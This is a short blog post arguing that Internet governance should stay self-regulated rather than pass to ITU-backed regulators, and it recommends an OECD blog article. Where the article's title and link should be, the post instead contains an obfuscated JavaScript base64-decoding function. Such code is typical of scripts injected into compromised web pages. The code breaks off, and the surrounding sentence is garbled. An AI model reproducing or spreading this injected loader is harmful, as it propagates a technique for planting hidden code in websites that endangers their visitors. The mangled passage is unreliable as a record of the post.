Why Fix the Internet if it Ain’t Broke?

The looming crisis and attempted takeover over Internet Governance by Emerging Country Regulators and European Incumbents backed by the ITU is often casually dismissed as "impossible to happen". I'm not so sure. History is strewn with underestimated threats and their dire consequences. Not that there's much individuals can do in this case, except publicise this attempt at fixing something that clearly isn't broken and doing in a way that favors inefficient players trying to cope with efficient mechanisms outside of their direct grasp.

Today, the OECD's Rudolf van der Berg posts on the OECD policy blog a piece that explains why the OECD is firmly behind the current self-regulated model and the dangers of a regulatory take-over. It's entitled function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-its-done-on-a-handshake/">2 billion users and it’s done on a handshake and it's a must read!